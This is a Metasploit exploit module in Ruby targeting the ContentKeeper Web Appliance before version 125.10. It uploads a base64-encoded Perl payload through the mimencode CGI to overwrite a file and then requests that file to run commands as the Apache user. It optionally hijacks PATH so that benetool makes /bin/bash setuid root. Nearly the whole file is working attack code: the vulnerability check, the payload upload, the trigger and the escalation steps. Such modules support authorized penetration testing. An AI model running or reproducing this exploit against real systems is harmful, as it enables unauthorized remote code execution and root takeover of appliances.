##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'		   => 'ContentKeeper Web Remote Command Execution',
      'Description'  => %q{
          This module exploits the ContentKeeper Web Appliance. Versions prior
        to 125.10 are affected. This module exploits a combination of weaknesses
        to enable remote command execution as the Apache user. By setting
        SkipEscalation to false, this module will attempt to setuid the bash shell.
      },
      'Author' 	   => [ 'patrick' ],
      'Arch'		   => [ ARCH_CMD ],
      'License'      => MSF_LICENSE,
      'References'   =>
        [
          [ 'OSVDB', '54551' ],
          [ 'OSVDB', '54552' ],
          [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
        ],
      'Privileged'	=> false,
      'Payload'      =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Platform'     => ['unix'],
      'Targets'      =>
        [
          [ 'Automatic', { } ]
        ],
      'DisclosureDate' => 'Feb 25 2009',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('OVERWRITE', [ true,  "The target file to upload our payload (spamkeeper.dat, bak.txt, formdate.pl etc)", 'spamkeeper.dat']),
        OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
      ])
  end

  def check
    connect
    sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
    banner = sock.get_once(-1, 3)
    disconnect

    if (banner =~ /500 Internal/)
      return Exploit::CheckCode::Vulnerable
    end
      return Exploit::CheckCode::Safe
  end

  def exploit

    exp = "#!/usr/bin/perl\n"
    exp << "print \"Content-type: text/html\\n\\n\"\;\n\n"
    exp << "use IO::Socket::INET;\n"

    if (datastore['PAYLOAD'] =~ /perl/)
      if not datastore['SkipEscalation']
        print_status("Attempting to facilitate root escalation...")
        exp << %q{ system("echo /bin/chmod u+s /bin/bash > ps; /bin/chmod o+x ps; PATH=.:$PATH; ./benetool stopall;"); } # We can use either 'ps' or 'grep' but ps is fine.
      end
      exp << payload.encoded.gsub('perl -MIO -e ', '').gsub('\'', '') # We're already inside a perl script!
    else
      exp << "system(\""
      exp << payload.encoded.gsub('"', '\"')
      exp << "\");\n"
    end

    body = Rex::Text.encode_base64(exp)

    connect

    sploit = "POST /cgi-bin/ck/mimencode?-u+-o+#{datastore['OVERWRITE']} HTTP/1.1\r\n"
    sploit << "Host: #{datastore['RHOST']}\r\n"
    sploit << "Content-Length: #{body.length}\r\n\r\n"

    print_status("Uploading payload to target...")
    sock.put(sploit + body + "\r\n\r\n")
    disconnect

    select(nil,nil,nil,3) # Wait a few seconds..
    print_status("Calling payload...")
    connect
    req = "GET /cgi-bin/ck/#{datastore['OVERWRITE']} HTTP/1.1\r\n" # Almost all files are owned by root, chmod'ed 777 :) rwx
    req << "Host: #{datastore['RHOST']}\r\n"
    sock.put(req + "\r\n\r\n")

    handler
    disconnect
    select(nil,nil,nil,3) # Wait for session creation.
    if not datastore['SkipEscalation'] and session_created? and datastore['PAYLOAD'] =~ /perl/
      print_status("Privilege escalation appears to have worked!")
      print_status("/bin/bash is now root setuid! Type 'bash -p' to get root.")
      print_status("Don't forget to clean up afterwards (chmod -s /bin/bash and restore an original copy of the OVERWRITE file).")
    end

  end
end
